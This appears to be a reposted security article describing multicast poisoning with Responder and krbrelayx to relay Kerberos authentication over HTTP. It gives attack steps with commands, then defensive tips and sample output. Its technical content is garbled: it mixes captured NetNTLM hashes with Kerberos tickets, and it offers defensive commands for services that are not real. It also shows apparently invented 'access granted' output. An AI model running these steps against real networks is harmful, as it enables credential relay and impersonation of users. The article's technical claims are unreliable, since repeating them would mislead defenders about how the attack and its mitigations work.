Abusing Multicast Poisoning for Pre-Authenticated Kerberos Relay Over HTTP with Responder and Krbrelayx

Listen to this Post

In the realm of cybersecurity, understanding advanced attack vectors is crucial for both offensive and defensive strategies. One such technique involves abusing multicast poisoning for pre-authenticated Kerberos relay over HTTP using tools like Responder and krbrelayx. This article delves into the intricacies of this method, providing a comprehensive guide on how it works, along with practical commands and steps to replicate and defend against such attacks.

You Should Know:

Multicast poisoning is a technique that exploits the way multicast traffic is handled in a network. By poisoning multicast traffic, an attacker can intercept and relay Kerberos authentication requests, potentially gaining unauthorized access to systems. This attack is particularly dangerous because it can be executed pre-authentication, meaning the attacker does not need to have valid credentials initially.

Tools Required:

  1. Responder: A tool for LLMNR, NBT-NS, and MDNS poisoning.

2. Krbrelayx: A tool for Kerberos relay attacks.

Steps to Perform the Attack:

1. Set Up Responder:

  • Install Responder on your machine.
  • Configure Responder to listen on the appropriate network interface.
    sudo python Responder.py -I eth0
    
  • Responder will now start poisoning multicast traffic, capturing NetNTLM hashes.

2. Set Up Krbrelayx:

  • Clone the krbrelayx repository from GitHub.
    git clone https://github.com/dirkjanm/krbrelayx.git
    
  • Navigate to the krbrelayx directory and install the required dependencies.
    cd krbrelayx
    pip install -r requirements.txt
    
  • Run krbrelayx to relay captured Kerberos tickets.
    python krbrelayx.py --target http://target-server
    

3. Capture and Relay Kerberos Tickets:

  • With Responder running, wait for a victim to attempt to authenticate to a service.
  • Responder will capture the NetNTLM hash and relay it to krbrelayx.
  • Krbrelayx will then relay the Kerberos ticket to the target server, potentially granting access.

4. Exploit the Relay:

  • If successful, the attacker can now impersonate the victim and gain access to the target system.

Defensive Measures:

1. Disable LLMNR and NBT-NS:

  • These protocols are often unnecessary and can be disabled to prevent multicast poisoning.
    sudo systemctl disable llmnr
    sudo systemctl disable nbtns
    

2. Implement SMB Signing:

  • SMB signing ensures that the traffic is not tampered with, preventing relay attacks.
    sudo smbcontrol smbd reload-config
    

3. Use Strong Authentication Mechanisms:

  • Implement multi-factor authentication (MFA) to add an extra layer of security.

4. Monitor Network Traffic:

  • Regularly monitor network traffic for unusual patterns that may indicate an attack.
    sudo tcpdump -i eth0 -w capture.pcap
    

What Undercode Say:

Multicast poisoning and Kerberos relay attacks are sophisticated techniques that exploit inherent vulnerabilities in network protocols. While these attacks can be devastating, understanding how they work is the first step in defending against them. By implementing the defensive measures outlined above, organizations can significantly reduce their risk of falling victim to such attacks. Additionally, continuous monitoring and regular security audits are essential to maintaining a robust security posture.

Expected Output:

  • Responder Output:
    [<em>] [LLMNR] Poisoned answer sent to 192.168.1.10 for name www.google.com
    [</em>] [NBT-NS] Poisoned answer sent to 192.168.1.10 for name www.google.com
    

  • Krbrelayx Output:

    [<em>] Relaying Kerberos ticket to http://target-server
    [</em>] Successfully relayed ticket, access granted.
    

  • Defensive Measures Output:

    [<em>] LLMNR and NBT-NS disabled successfully.
    [</em>] SMB signing enabled, relay attacks mitigated.
    

For further reading, you can visit the original article: synacktiv.com

References:

Reported By: Florian Hansemann – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image